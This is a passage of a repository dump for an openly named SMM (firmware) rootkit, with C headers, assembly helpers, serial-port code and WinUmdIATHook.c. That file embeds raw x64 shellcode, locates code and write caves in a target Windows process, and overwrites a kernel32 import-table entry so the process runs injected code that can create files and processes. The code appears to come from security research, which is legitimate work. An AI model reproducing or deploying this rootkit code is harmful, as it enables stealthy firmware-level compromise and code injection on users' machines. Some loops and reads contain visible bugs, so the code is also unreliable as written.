    "content": "/*\n * This file and the corresponding .c file \n * contains a set of needed Windows-related \n * functions for both reading & writing its \n * virtual memory. \n * \n * These files are imported and ported to work \n * in SMM. The original libraries are \n * \n * - MemProcFS/pcileech by Ulf Frisk\n * - vmread by Heep042\n * \n */\n\n#ifndef __smmrootkit_wintools_h__\n#define __smmrootkit_wintools_h__\n\n#include <Uefi.h>\n#include <Base.h>\n#include <Protocol/SmmBase2.h>\n\n#include \"windows.h\"\n#include \"serial.h\"\n#include \"string.h\"\n#include \"Memory.h\" // VTOP, p_memCpy, v_memCpy\n#include \"MemManager.h\"\n\n#define IMAGE_DIRECTORY_ENTRY_IMPORT 1\n#define IMAGE_SCN_MEM_EXECUTE 0x20000000\n#define IMAGE_SCN_MEM_WRITE 0x80000000\n\ntypedef struct ProcessData\n{\n  UINT64 mapsStart;\n  UINT64 mapsSize;\n  INT32 pid;\n} ProcessData;\n\ntypedef struct WinOffsets\n{\n  INT64 apl;\n  INT64 session;\n  INT64 imageFileName;\n  INT64 dirBase;\n  INT64 peb;\n  INT64 peb32;\n  INT64 threadListHead;\n  INT64 threadListEntry;\n  INT64 teb;\n} WinOffsets;\n\ntypedef struct WinProc\n{\n  UINT64 process;\n  UINT64 physProcess;\n  UINT64 dirBase;\n  UINT64 pid;\n  char name[16];\n} WinProc;\n\ntypedef struct WinProcList\n{\n  WinProc *list;\n  size_t size;\n} WinProcList;\n\ntypedef struct WinExport\n{\n  char *name;\n  UINT64 address;\n} WinExport;\n\ntypedef struct WinExportList\n{\n  WinExport *list;\n  size_t size;\n} WinExportList;\n\ntypedef struct WinModule\n{\n  UINT64 baseAddress;\n  UINT64 entryPoint;\n  UINT64 sizeOfModule;\n  char *name;\n  short loadCount;\n} WinModule;\n\ntypedef struct WinModuleList\n{\n  WinModule *list;\n  size_t size;\n} WinModuleList;\n\ntypedef struct WinCtx\n{\n  ProcessData process;\n  WinOffsets offsets;\n  UINT64 ntKernel;\n  UINT16 ntVersion;\n  UINT32 ntBuild;\n  WinExportList ntExports;\n  WinProc initialProcess;\n} WinCtx;\n\ntypedef struct tdPE_THUNKINFO_IAT\n{\n  UINT32 fValid;\n  UINT32 f32;            // if TRUE fn is a 32-bit/4-byte entry, otherwise 64-bit/8-byte entry.\n  UINT64 vaThunk;        // address of import address table 'thunk'.\n  UINT64 vaFunction;     // value if import address table 'thunk' == address of imported function.\n  UINT64 vaNameModule;   // address of name string for imported module.\n  UINT64 vaNameFunction; // address of name string for imported function.\n} PE_THUNKINFO_IAT, *PPE_THUNKINFO_IAT;\n\ntypedef struct tdPE_THUNKINFO_EAT\n{\n  UINT32 fValid;\n  UINT32 valueThunk;     // value of export address table 'thunk'.\n  UINT64 vaThunk;        // address of import address table 'thunk'.\n  UINT64 vaNameFunction; // address of name string for exported function.\n  UINT64 vaFunction;     // address of exported function (module base + value parameter).\n} PE_THUNKINFO_EAT, *PPE_THUNKINFO_EAT;\n\ntypedef struct _IMAGE_IMPORT_DESCRIPTOR\n{\n  union {\n    UINT32 Characteristics;    //0 for terminating null import descriptor\n    UINT32 OriginalFirstThunk; // RVA to original unbound IAT\n  };\n  UINT32 TimeDateStamp;\n  UINT32 ForwarderChain; // -1 if no forwarders\n  UINT32 Name;           // RVA of imported DLL name (null-terminated SCII)\n  UINT32 FirstThunk;     // RVA to IAT (if bound this IAT has addresses )\n\n} IMAGE_IMPORT_DESCRIPTOR, *PIMAGE_IMPORT_DESCRIPTOR;\n\n\n\nBOOLEAN InitGlobalWindowsContext();\nIMAGE_NT_HEADERS *GetNTHeader(const WinCtx *ctx, const WinProc *process, UINT64 address, UINT8 *header, UINT8 *is64Bit);\nBOOLEAN ParseExportTable(const WinCtx *ctx, const WinProc *process, UINT64 moduleBase, IMAGE_DATA_DIRECTORY *exports, WinExportList *outList);\nBOOLEAN GenerateExportList(const WinCtx *ctx, const WinProc *process, UINT64 moduleBase, WinExportList *outList);\nVOID FreeExportList(WinExportList list);\nUINT64 GetProcAddress(const WinCtx *ctx, const WinProc *process, UINT64 module, const CHAR8 *procName);\nUINT64 FindProcAddress(const WinExportList exports, const CHAR8 *procName);\nPEB GetPeb(const WinCtx *ctx, const WinProc *process);\nPEB32 GetPeb32(const WinCtx *ctx, const WinProc *process);\nBOOLEAN FindProcess(WinCtx *ctx, CHAR8 *processname, BOOLEAN verbose);\nBOOLEAN DumpSingleProcess(WinCtx *ctx, CHAR8 *processname, WinProc *process, BOOLEAN verbose);\nBOOLEAN DumpSingleModule(const WinCtx *ctx, const WinProc *process, WinModule *out_module, BOOLEAN verbose);\n\nBOOLEAN ProcessGetThunkInfoIAT(WinProc *process, WinModule *basemodule, CHAR8 *szImportModuleName, CHAR8 *szImportProcName, PPE_THUNKINFO_IAT pThunkInfoIAT);\n\nBOOLEAN ProcessGetSections(WinProc *process, WinModule *basemodule, PIMAGE_SECTION_HEADER pSections, UINT32 cSections, UINT32 *pcSections);\n\nUINT64 ProcessGetProcAddress(WinProc *process, WinModule *basemodule, CHAR8 *procName);\n\n#endif"
  },
  {
    "path": "SMM Rootkit/SMMRootkit/WinUmdIATHook.c",
    "content": "#include \"WinUmdIATHook.h\"\n\n// From NtKernelTools.c\nextern WinCtx *winGlobal;\n\n// shellcode to inject into the UMD\nconst UINT8 WinUmdIATShellCode[] = {\n  0x51, 0x52, 0x41, 0x50, 0x41, 0x51, 0xEB, 0x10, 0x11, 0x11, 0x11, 0x11, 0x11, 0x11, 0x11, 0x11,\n  0x22, 0x22, 0x22, 0x22, 0x22, 0x22, 0x22, 0x22, 0x50, 0x48, 0x8B, 0x0D, 0xE8, 0xFF, 0xFF, 0xFF,\n  0x48, 0x83, 0xEC, 0x30, 0xE8, 0x13, 0x00, 0x00, 0x00, 0x48, 0x83, 0xC4, 0x30, 0x58, 0x41, 0x59,\n  0x41, 0x58, 0x5A, 0x59, 0xFF, 0x25, 0xD6, 0xFF, 0xFF, 0xFF, 0xCC, 0xCC, 0x48, 0x8B, 0xC4, 0x48,\n  0x89, 0x58, 0x08, 0x57, 0x48, 0x83, 0xEC, 0x40, 0x48, 0x83, 0x79, 0x18, 0x00, 0x48, 0x8B, 0xD9,\n  0x74, 0x52, 0x48, 0x83, 0x60, 0xE8, 0x00, 0x48, 0x83, 0xC1, 0x58, 0xC7, 0x40, 0xE0, 0x80, 0x00,\n  0x00, 0x00, 0x45, 0x33, 0xC9, 0x45, 0x33, 0xC0, 0xC7, 0x40, 0xD8, 0x02, 0x00, 0x00, 0x00, 0xBA,\n  0x00, 0x00, 0x00, 0xC0, 0xFF, 0x53, 0x20, 0x48, 0x8B, 0xF8, 0x48, 0x83, 0xF8, 0xFF, 0x74, 0x24,\n  0x48, 0x83, 0x64, 0x24, 0x20, 0x00, 0x48, 0x8D, 0x93, 0xBC, 0x00, 0x00, 0x00, 0x45, 0x33, 0xC9,\n  0x48, 0x8B, 0xC8, 0x45, 0x8D, 0x41, 0x10, 0xFF, 0x53, 0x48, 0x48, 0x8B, 0xCF, 0xFF, 0x53, 0x18,\n  0xC6, 0x43, 0x08, 0xFF, 0x48, 0x8B, 0x5C, 0x24, 0x50, 0x48, 0x83, 0xC4, 0x40, 0x5F, 0xC3 };\n\n// these vars are needed between different stages, therefore\n// they are defined global\nstatic WinProc TargetProcess;\nstatic WinModule TargetModule;\nstatic PE_THUNKINFO_IAT oThunkInfoIAT;\nstatic UINT64 vaCodeCave;\nstatic UINT64 vaWriteCave;\nstatic WinUmdIATState currState;\n\n// Find the process\nstatic BOOLEAN WindowsUmdIATHookStage1()\n{\n  //-----------------------------------------\n  // 0: Find the process and its base module\n  //-----------------------------------------\n  BOOLEAN verbose = FALSE;\n  WinProc process;\n\n  if (!DumpSingleProcess(winGlobal, \"smm_target.exe\", &process, verbose))\n  {\n    return FALSE;\n  }\n  else\n  {\n    TargetProcess.dirBase = process.dirBase;\n    TargetProcess.physProcess = process.physProcess;\n    TargetProcess.process = process.process;\n  }\n\n  TargetModule.name = \"smm_target.exe\";\n  if (!DumpSingleModule(winGlobal, &TargetProcess, &TargetModule, verbose))\n  {\n    SerialPrintStringDebug(\"Failed parsing the base exe module! \\r\\n\");\n    return FALSE;\n  }\n  return TRUE;\n}\n\n// From pcileech, for injecting UM shellcode into the target\nstatic BOOLEAN WindowsUmdIATHookStage2()\n{\n  WinUmdIATCtxLimited ctx;\n  CHAR8 *HookModuleName = \"kernel32.dll\";\n  CHAR8 *HookFunctionName = \"GetCurrentProcessId\";\n\n  // Sanity checking\n  if (TargetProcess.dirBase == 0 || TargetModule.baseAddress == 0)\n  {\n    SerialPrintStringDebug(\"The process dirbase or its module baseaddress was 0!\\r\\n\");\n    return FALSE;\n  }\n\n  // Nullify variables that were possibly set last time\n  vaCodeCave = 0;\n  vaWriteCave = 0;\n  for (INT32 i = 0; i < sizeof(PE_THUNKINFO_IAT); i++)\n  {\n    ((UINT8 *)&oThunkInfoIAT)[i] = 0;\n  }\n\n  //--------------------------------------------------------------------------\n  // 1: Verify process and locate 'IAT inject', r-x 'code cave' and rw- 'config cave'.\n  //--------------------------------------------------------------------------\n\n  SerialPrintStringDebug(\"  Getting process IAT Thunk ...\\r\\n\");\n  if (!ProcessGetThunkInfoIAT(&TargetProcess, &TargetModule, HookModuleName, HookFunctionName, &oThunkInfoIAT))\n  {\n    SerialPrintString(\"ERROR: UMD EXEC: Could not get IAT Info!\\r\\n\");\n    return FALSE;\n  }\n  if (!oThunkInfoIAT.fValid || oThunkInfoIAT.f32)\n  {\n    SerialPrintString(\"ERROR: UMD: EXEC: Could not retrieve valid hook in 64-bit process.\\r\\n\");\n    return FALSE;\n  }\n\n  SerialPrintStringDebug(\"  Finding process sections for code & write caves ...\\r\\n\");\n  UINT32 cSections;\n  PIMAGE_SECTION_HEADER pSections;\n  if (!ProcessGetSections(&TargetProcess, &TargetModule, NULL, 0, &cSections) || !cSections)\n  {\n    SerialPrintString(\"ERROR: UMD: EXEC: Could not retrieve sections #1\\r\\n\");\n    return FALSE;\n  }\n\n  pSections = (PIMAGE_SECTION_HEADER)malloc(cSections * sizeof(IMAGE_SECTION_HEADER));\n  if (!pSections || !ProcessGetSections(&TargetProcess, &TargetModule, pSections, cSections, &cSections) || !cSections)\n  {\n    SerialPrintString(\"ERROR: UMD: EXEC: Could not retrieve sections #2\\r\\n\");\n    return FALSE;\n  }\n\n  for (UINT32 i = 0; i < cSections; i++)\n  {\n    // 0x500 magic number for ShellCode to fit in\n    if (!vaCodeCave && (pSections[i].Characteristics & IMAGE_SCN_MEM_EXECUTE) && ((pSections[i].Misc.VirtualSize & 0xfff) < (0x1000 - 0x500)))\n    {\n      vaCodeCave = TargetModule.baseAddress + ((pSections[i].VirtualAddress + pSections[i].Misc.VirtualSize + 0xfff) & ~0xfff) - 0x500;\n      if (!VTOP(vaCodeCave & ~0xfff, TargetProcess.dirBase, FALSE))\n      {\n        vaCodeCave = 0; // read test failed!\n      }\n    }\n    if (!vaWriteCave && (pSections[i].Characteristics & IMAGE_SCN_MEM_WRITE) && ((pSections[i].Misc.VirtualSize & 0xfff) < (0x1000 - sizeof(ctx))))\n    {\n      vaWriteCave += TargetModule.baseAddress + ((pSections[i].VirtualAddress + pSections[i].Misc.VirtualSize + 0xfff) & ~0xfff) - sizeof(ctx);\n      if (!VTOP(vaWriteCave & ~0xfff, TargetProcess.dirBase, FALSE))\n      {\n        vaWriteCave = 0; // read test failed!\n      }\n    }\n  }\n  if (!vaCodeCave || !vaWriteCave)\n  {\n    if (!vaCodeCave)\n    {\n      SerialPrintString(\"ERROR: UMD: EXEC: Could not find a code cave!\\r\\n\");\n    }\n    if (!vaWriteCave)\n    {\n      SerialPrintString(\"ERROR: UMD: EXEC: Could not find a write cave!\\r\\n\");\n    }\n    return FALSE;\n  }\n\n  //------------------------------------------------\n  // 2: Prepare injection and patch shellcode\n  //------------------------------------------------\n\n  SerialPrintStringDebug(\"  Suitable caves found! Dumping kernel32.dll exports ...\\r\\n\");\n  // Prepare shellcode (goes into r-x section)\n  UINT8 *ShellCode = (UINT8 *)malloc(sizeof(WinUmdIATShellCode));\n  p_memCpy((UINT64)ShellCode, (UINT64)WinUmdIATShellCode, sizeof(WinUmdIATShellCode), FALSE);\n  *(UINT64 *)(ShellCode + 0x08) = vaWriteCave;\n  *(UINT64 *)(ShellCode + 0x10) = oThunkInfoIAT.vaFunction;\n\n  // Dump the module kernel32.dll, we need it to map exports\n  WinModule kernel32_dll;\n  kernel32_dll.name = \"kernel32.dll\";\n  if (!DumpSingleModule(winGlobal, &TargetProcess, &kernel32_dll, FALSE))\n  {\n    SerialPrintStringDebug(\"Could not dump kernel32.dll from the target process!\\r\\n\");\n    free(ShellCode);\n    return FALSE;\n  }\n\n  // TODO: atomicity / mutex with cmpxchg as in pcileech !\n  ctx.CMPXCHG = 0;\n  // Prepare configuration data (goes into rw- section)\n  ctx.fn.CloseHandle = ProcessGetProcAddress(&TargetProcess, &kernel32_dll, \"CloseHandle\");\n  ctx.fn.CreateFileA = ProcessGetProcAddress(&TargetProcess, &kernel32_dll, \"CreateFileA\");\n  ctx.fn.CreateProcessA = ProcessGetProcAddress(&TargetProcess, &kernel32_dll, \"CreateProcessA\");\n  ctx.fn.CreateThread = ProcessGetProcAddress(&TargetProcess, &kernel32_dll, \"CreateThread\");\n  ctx.fn.GetExitCodeProcess = ProcessGetProcAddress(&TargetProcess, &kernel32_dll, \"GetExitCodeProcess\");\n  ctx.fn.ReadFile = ProcessGetProcAddress(&TargetProcess, &kernel32_dll, \"ReadFile\");\n  ctx.fn.WriteFile = ProcessGetProcAddress(&TargetProcess, &kernel32_dll, \"WriteFile\");\n  ctx.fn.LocalAlloc = ProcessGetProcAddress(&TargetProcess, &kernel32_dll, \"LocalAlloc\");\n  // hardcoded name to make it ez\n  p_memCpy((UINT64)ctx.ParamString1, (UINT64) \"c:\\\\smm.txt\", strlen(\"c:\\\\smm.txt\") + 1, FALSE);\n  p_memCpy((UINT64)ctx.ParamString2, (UINT64) \"Hello from SMM!\", strlen(\"Hello from SMM!\") + 1, FALSE);\n\n  //------------------------------------------------\n  // 4: TODO: Inject & hook IAT\n  //------------------------------------------------\n\n  v_memWrite(vaWriteCave, (UINT64)&ctx, sizeof(WinUmdIATCtxLimited), TargetProcess.dirBase, FALSE);\n  v_memWrite(vaCodeCave, (UINT64)ShellCode, sizeof(WinUmdIATShellCode), TargetProcess.dirBase, FALSE);\n  v_memWrite(oThunkInfoIAT.vaThunk, (UINT64)&vaCodeCave, 8, TargetProcess.dirBase, FALSE);\n\n  free(ShellCode);\n  return TRUE;\n}\n\nstatic BOOLEAN WindowsUmdIATHookStage3()\n{\n  //------------------------------------------------\n  // 5: Check for execution after wait\n  //------------------------------------------------\n  BOOLEAN ret = TRUE;\n  WinUmdIATCtxLimited ctx;\n\n  v_memReadMultiPage((UINT64)&ctx, (UINT64)&vaWriteCave, sizeof(WinUmdIATCtxLimited), TargetProcess.dirBase, FALSE);\n\n  // The UMD program did not update the status field in context struct,\n  // the execution failed\n  if (!ctx.Status)\n  {\n    SerialPrintStringDebug(\"  UMD: FAILED! Error or Timeout after 15s.\\r\\n\");\n    ret = FALSE;\n  }\n  else\n    SerialPrintStringDebug(\"  UMD: Execution succeeded! Restoring ...\\r\\n\");\n\n  //------------------------------------------------\n  // 6: Restore\n  //------------------------------------------------\n\n  // Restore the IAT hook\n  v_memWrite(oThunkInfoIAT.vaThunk, (UINT64)&oThunkInfoIAT.vaFunction, 8, TargetProcess.dirBase, FALSE);\n\n  // Nullify write cave ...\n  for (INT32 i = 0; sizeof(WinUmdIATCtxLimited); i++)\n  {\n    ((UINT8 *)&ctx)[i] = 0;\n  }\n  v_memWrite(vaWriteCave, (UINT64)&ctx, sizeof(WinUmdIATCtxLimited), TargetProcess.dirBase, FALSE);\n\n  // ... and the code cave. If malloc fails, we simply\n  // bail out without restoring the code cave.\n  UINT8 *ShellCode = (UINT8 *)malloc(sizeof(WinUmdIATShellCode));\n  if (!ShellCode)\n  {\n    SerialPrintStringDebug(\"  UMD: Restoring code cave failed! Execution may have succeeded anyway ...\\r\\n\");\n    return ret;\n  }\n  for (INT32 i = 0; i < sizeof(WinUmdIATShellCode); i++)\n  {\n    ShellCode[i] = 0;\n  }\n  free(ShellCode);\n\n  return ret;\n}\n\nBOOLEAN WindowsUmdIATHook()\n{\n  // Choose appropriate action depending on current state\n  switch (currState)\n  {\n\n  case SUCCESS:\n  {\n    return TRUE;\n  }\n\n  case NO_PROCESS:\n  {\n    SerialPrintStringDebug(\"\\r\\n==  Finding target process ... ==\\r\\n\");\n\n    // If we (still) can't find the process, bail out\n    if (!WindowsUmdIATHookStage1())\n    {\n      SerialPrintStringDebug(\"\\r\\n  Could not find target process ... We will try again :-)\\r\\n\");\n      break;\n    }\n\n    SerialPrintStringDebug(\"\\r\\n==  Found and dumped process! Starting IAT Hooking ==\\r\\n\");\n\n    // If the stage 2 succeeds, change the status so that\n    // the execution is waited next time this func is entered\n    if (WindowsUmdIATHookStage2())\n    {\n      SerialPrintStringDebug(\"\\r\\n== IAT Hooking done! Now waiting for execution :-) == \\r\\n\\r\\n\");\n      currState = WAITING_EXECUTION;\n    }\n    else\n    {\n      currState = NO_PROCESS;\n    }\n    \n    break;\n  }\n\n  case WAITING_EXECUTION:\n  {\n    // TODO: check time\n    if (WindowsUmdIATHookStage3())\n    {\n      SerialPrintStringDebug(\"\\r\\n== !!IAT Hooking successful!! == \\r\\n\\r\\n\");\n      currState = SUCCESS;\n    }\n    else\n    {\n      // Start from beginning if the hooking failed\n      currState = NO_PROCESS;\n    }\n\n    break;\n  }\n  }\n\n  return TRUE;\n}\n\nVOID InitWindowsUmdIATHook()\n{\n  currState = NO_PROCESS;\n  return;\n}"
  },
  {
    "path": "SMM Rootkit/SMMRootkit/WinUmdIATHook.h",
    "content": "#ifndef __smmrootkit_win_umd_iat_h__\n#define __smmrootkit_win_umd_iat_h__\n\n#include <Base.h>\n\n#include \"windows.h\"\n#include \"WinTools.h\"\n#include \"serial.h\"\n#include \"Memory.h\"\n\ntypedef enum _WinUmdIATState\n{\n  NO_PROCESS,\n  WAITING_EXECUTION,\n  SUCCESS\n} WinUmdIATState;\n\n// struct shared with wx64_umd_exec_c.c\ntypedef struct _WinUmdIATCtx\n{\n  INT64 CMPXCHG;\n  CHAR8 Status;\n  VOID *ProcessHandle;\n  struct\n  {\n    UINT64 CloseHandle;\n    UINT64 CreateFileA;\n    UINT64 CreateProcessA;\n    UINT64 CreateThread;\n    UINT64 GetExitCodeProcess;\n    UINT64 ReadFile;\n    UINT64 WriteFile;\n    UINT64 LocalAlloc;\n  } fn;\n  // These strings are used to transfer needed information\n  // to the userspace process\n  CHAR8 ParamString1[100];\n  CHAR8 ParamString2[100];\n} WinUmdIATCtxLimited;\n\nBOOLEAN WindowsUmdIATHook();\n\nVOID InitWindowsUmdIATHook();\n\n#endif"
  },
  {
    "path": "SMM Rootkit/SMMRootkit/helpers.asm",
    "content": "\r\n.CODE\r\n\r\n;\r\n; UINT64 GetCR0(VOID)\r\n;\r\nGetCR0\t\t\t\t\tproc\r\n\t\t\t\t\t\tmov\t\trax, cr0\r\n\t\t\t\t\t\tret\r\nGetCR0\t\t\t\t\tendp\r\n\r\n;\r\n; UINT64 GetCR3(VOID)\r\n;\r\nGetCR3\t\t\t\t\tproc\r\n\t\t\t\t\t\tmov\t\trax, cr3\r\n\t\t\t\t\t\tret\r\nGetCR3\t\t\t\t\tendp\r\n\r\n;\r\n; UINT64 GetCR4(VOID)\r\n;\r\nGetCR4\t\t\t\t\tproc\r\n\t\t\t\t\t\tmov\t\trax, cr4\r\n\t\t\t\t\t\tret\r\nGetCR4       \t\t\tendp\r\n\r\n;\r\n; VOID LoadIDTR(UINT64 IDTR)\r\n;\r\nLoadIDTR\t\t\tproc\r\n\t\t\t\t\tsidt fword ptr [rcx]\r\n\t\t\t\t\tret\r\nLoadIDTR\t\t\tendp\r\n\r\n;\r\n; UINT64 ReadMsr64(UINT32  Index)\r\n;\r\nReadMsr64\t\t\tproc\r\n\t\t\t\t\trdmsr                               ; edx & eax are zero extended\r\n\t\t\t\t\tshl     rdx, 0x20\r\n\t\t\t\t\tor      rax, rdx\r\n\t\t\t\t\tret\r\nReadMsr64\t\t\tendp\r\n\r\n;\r\n; UINT64 WriteMsr64(IN UINT32  Index, IN UINT64  Value)\r\n;\r\nWriteMsr64\t\t\tproc\r\n\t\t\t\t\tmov     rax, rdx                    ; meanwhile, rax <- return value\r\n\t\t\t\t\tshr     rdx, 0x20                    ; edx:eax contains the value to write\r\n\t\t\t\t\twrmsr\r\n\t\t\t\t\tret\r\nWriteMsr64\t\t\tendp\r\n\r\n;\r\n; VOID GenerateSMI(VOID)\r\n;\r\nGenerateSMI\t\t\tproc\r\n\t\t\t\t\tmov     al, 0x8A                    ; meanwhile, rax <- return value\r\n\t\t\t\t\tout     0xB2, al                    ; edx:eax contains the value to write\r\nGenerateSMI\t\t\tendp\r\n\r\n;\r\n; VOID SetDR0(UINT64 physicalAddress)\r\n;\r\nSetDR0\t\t\t\tproc\r\n\t\t\t\t\tmov     dr0, rcx \r\n\t\t\t\t\tmov     rax, rcx\r\n\t\t\t\t\tret\r\nSetDR0\t\t\t\tendp\r\n\r\n;\r\n; UINT64 GetDR0(VOID)\r\n;\r\nGetDR0\t\t\t\tproc\r\n\t\t\t\t\tmov     rax, dr0\r\n\t\t\t\t\tret \r\nGetDR0\t\t\t\tendp\r\n\r\n;\r\n; VOID SetDR1(UINT64 physicalAddress)\r\n;\r\nSetDR1\t\t\t\tproc\r\n\t\t\t\t\tmov     dr1, rcx \r\n\t\t\t\t\tmov     rax, rcx\r\n\t\t\t\t\tret\r\nSetDR1\t\t\t\tendp\r\n\r\n;\r\n; UINT64 GetDR1(VOID)\r\n;\r\nGetDR1\t\t\t\tproc\r\n\t\t\t\t\tmov     rax, dr1\r\n\t\t\t\t\tret \r\nGetDR1\t\t\t\tendp\r\n\r\n;\r\n; VOID SetDR2(UINT64 physicalAddress)\r\n;\r\nSetDR2\t\t\t\tproc\r\n\t\t\t\t\tmov     dr2, rcx \r\n\t\t\t\t\tmov     rax, rcx\r\n\t\t\t\t\tret\r\nSetDR2\t\t\t\tendp\r\n\r\n;\r\n; UINT64 GetDR2(VOID)\r\n;\r\nGetDR2\t\t\t\tproc\r\n\t\t\t\t\tmov     rax, dr2\r\n\t\t\t\t\tret \r\nGetDR2\t\t\t\tendp\r\n\r\n;\r\n; UINTN SetDR3(UINT64 physicalAddress)\r\n;\r\nSetDR3\t\t\t\tproc\r\n\t\t\t\t\tmov     dr3, rcx \r\n\t\t\t\t\tmov     rax, rcx\r\n\t\t\t\t\tret\r\nSetDR3\t\t\t\tendp\r\n\r\n;\r\n; UINT64 GetDR3(VOID)\r\n;\r\nGetDR3\t\t\t\tproc\r\n\t\t\t\t\tmov     rax, dr3\r\n\t\t\t\t\tret \r\nGetDR3\t\t\t\tendp\r\n\r\n\r\n;\r\n; VOID LongkitEFLAGS(UINT64 PhysRSP)\r\n;\r\nLongkitEFLAGS\t\tproc\r\n\t\t\t\t\tmov rbx, [rax + 24]\r\n\t\t\t\t\tor rbx, 400000\r\n\t\t\t\t\tmov [rax + 24], rbx\r\nLongkitEFLAGS\t\tendp\r\n\r\nEND\r\n\r\n"
  },
  {
    "path": "SMM Rootkit/SMMRootkit/serial.c",
    "content": "#include \"serial.h\"\r\n\r\n/*\r\n * UART Register Offsets\r\n */\r\n#define BAUD_LOW_OFFSET 0x00\r\n#define BAUD_HIGH_OFFSET 0x01\r\n#define IER_OFFSET 0x01\r\n#define LCR_SHADOW_OFFSET 0x01\r\n#define FCR_SHADOW_OFFSET 0x02\r\n#define IR_CONTROL_OFFSET 0x02\r\n#define FCR_OFFSET 0x02\r\n#define EIR_OFFSET 0x02\r\n#define BSR_OFFSET 0x03\r\n#define LCR_OFFSET 0x03\r\n#define MCR_OFFSET 0x04\r\n#define LSR_OFFSET 0x05\r\n#define MSR_OFFSET 0x06\r\n\r\n/*\r\n * UART Register Bit Defines\r\n */\r\n#define LSR_TXRDY 0x20\r\n#define LSR_RXDA 0x01\r\n#define DLAB 0x01\r\n\r\n/*\r\n * UART Settings\r\n */\r\nUINT8 m_Data = 8;\r\nUINT8 m_Stop = 1;\r\nUINT8 m_Parity = 0;\r\nUINT8 m_BreakSet = 0;\r\n\r\nVOID SerialPortInitialize(UINT16 Port, UINTN Baudrate)\r\n{\r\n  // Map 5..8 to 0..3\r\n  UINT8 Data = (UINT8)(m_Data - (UINT8)5);\r\n\r\n  // Calculate divisor for baud generator\r\n  UINTN Divisor = SERIAL_BAUDRATE_MAX / Baudrate;\r\n\r\n  // Set communications format\r\n  UINT8 OutputData = (UINT8)((DLAB << 7) | (m_BreakSet << 6) | (m_Parity << 3) | (m_Stop << 2) | Data);\r\n  IoWrite8((UINTN)(Port + LCR_OFFSET), OutputData);\r\n\r\n  // Configure baud rate\r\n  IoWrite8((UINTN)(Port + BAUD_HIGH_OFFSET), (UINT8)(Divisor >> 8));\r\n  IoWrite8((UINTN)(Port + BAUD_LOW_OFFSET), (UINT8)(Divisor & 0xff));\r\n\r\n  // Switch back to bank 0\r\n  OutputData = (UINT8)((~DLAB << 7) | (m_BreakSet << 6) | (m_Parity << 3) | (m_Stop << 2) | Data);\r\n  IoWrite8((UINTN)(Port + LCR_OFFSET), OutputData);\r\n}\r\n\r\nVOID SerialPortWrite(UINT16 Port, UINT8 Data)\r\n{\r\n  UINT8 Status = 0;\r\n\r\n  do\r\n  {\r\n    // Wait for the serail port to be ready\r\n    Status = IoRead8(Port + LSR_OFFSET);\r\n\r\n  } while ((Status & LSR_TXRDY) == 0);\r\n\r\n  IoWrite8(Port, Data);\r\n}\r\n\r\nUINT8 SerialPortRead(UINT16 Port)\r\n{\r\n  UINT8 Status = 0;\r\n\r\n  do\r\n  {\r\n    // Wait for the serail port to be ready\r\n    Status = IoRead8(Port + LSR_OFFSET);\r\n\r\n  } while ((Status & LSR_RXDA) == 0);\r\n\r\n  return IoRead8(Port);\r\n}\r\n\r\nVOID SerialPrintString(const char *text)\r\n{\r\n  SerialPortInitialize(SERIAL_PORT_0, SERIAL_BAUDRATE);\r\n\r\n  while (*text)\r\n  {\r\n    // send single byte via serial port\r\n    SerialPortWrite(SERIAL_PORT_0, *text++);\r\n  }\r\n}\r\n\r\nVOID SerialPrintStringDebug(const char *text)\r\n{\r\n#ifdef ROOTKIT_VERBOSE\r\n  SerialPrintString(text);\r\n#endif\r\n}\r\n\r\nVOID SerialTest()\r\n{\r\n  // Send 0xA 8 times\r\n\r\n  for (int i = 0; i < 8; i++)\r\n  {\r\n    SerialPortWrite(SERIAL_PORT_0, 0xA);\r\n  }\r\n}\r\n\r\nVOID SerialSendData(const VOID *buf, UINT8 len)\r\n{\r\n  for (UINT64 i = 0; i < len; i++)\r\n  {\r\n    SerialPortWrite(SERIAL_PORT_0, ((const char *)buf)[i]);\r\n  }\r\n}\r\n\r\nVOID SerialPrintNumber(INT64 _v, INT64 _b)\r\n{\r\n  char _r[100];\r\n  // check validity\r\n  if (_b < 2 || _b > 36)\r\n  {\r\n    *_r = 0;\r\n    return;\r\n  }\r\n\r\n  char *ptr = _r;\r\n  char *ptr1 = _r;\r\n  char tmp_char;\r\n  INT64 tmp_value;\r\n\r\n  do\r\n  {\r\n    tmp_value = _v;\r\n    _v /= _b;\r\n    *ptr++ = \"zyxwvutsrqponmlkjihgfedcba9876543210123456789abcdefghijklmnopqrstuvwxyz\"[35 + (tmp_value - _v * _b)];\r\n  } while (_v);\r\n\r\n  // is the value neg?\r\n  if (tmp_value < 0 && _b == 10)\r\n  {\r\n    *ptr++ = '-';\r\n  }\r\n  *ptr-- = '\\0';\r\n  while (ptr1 < ptr)\r\n  {\r\n    tmp_char = *ptr;\r\n    *ptr-- = *ptr1;\r\n    *ptr1++ = tmp_char;\r\n  }\r\n\r\n  SerialPrintString(_r);\r\n}\r\n\r\nVOID SerialPrintNumberDebug(UINT64 _v, UINT64 _b)\r\n{\r\n#ifdef ROOTKIT_VERBOSE\r\n  SerialPrintNumber(_v, _b);\r\n#endif\r\n}\r\n"
  },
  {
    "path": "SMM Rootkit/SMMRootkit/serial.h",
    "content": "#ifndef __smmrootkit_serial_h__\r\n#define __smmrootkit_serial_h__\r\n\r\n/*\r\n * Serial port configuration.\r\n * For EFI_DEBUG_SERIAL_BUILTIN and EFI_DEBUG_SERIAL_PROTOCOL.\r\n * Port 0 is the default port on the motherboard\r\n */\r\n#define SERIAL_BAUDRATE_MAX 115200\r\n#define SERIAL_BAUDRATE 115200\r\n#define SERIAL_PORT_0 0x3F8 \r\n\r\n#define ROOTKIT_VERBOSE\r\n\r\n#include <Base.h>\r\n#include <Library/IoLib.h>\r\n#include <Library/UefiRuntimeLib.h>\r\n\r\n\r\n/*\r\n *Initialize the serial device hardware.\r\n */\r\nVOID SerialPortInitialize(UINT16 Port, UINTN Baudrate);\r\n\r\n/*\r\n * Write data to serial device.\r\n */\r\nVOID SerialPortWrite(UINT16 Port, UINT8 Data);\r\n\r\n/*\r\n * Reads data from a serial device.\r\n */\r\nUINT8 SerialPortRead(UINT16 Port);\r\n\r\n/*\r\n * Writes a nul-terminated string to the serial\r\n */\r\nVOID SerialPrintString(const char* text);\r\n\r\n/*\r\n * Debug-version of SerialPrintString. Only prints\r\n * if ROOTKIT_VERBOSE is defined\r\n */\r\nVOID SerialPrintStringDebug(const char* text);\r\n\r\n/*\r\n * Send 0xA 8 times to test serial output\r\n */\r\nVOID SerialTest();\r\n\r\n/*\r\n * Send raw data over serial\r\n */\r\nVOID SerialSendData(const VOID* buf, UINT8 len);\r\n\r\n/*\r\n * Print a number into 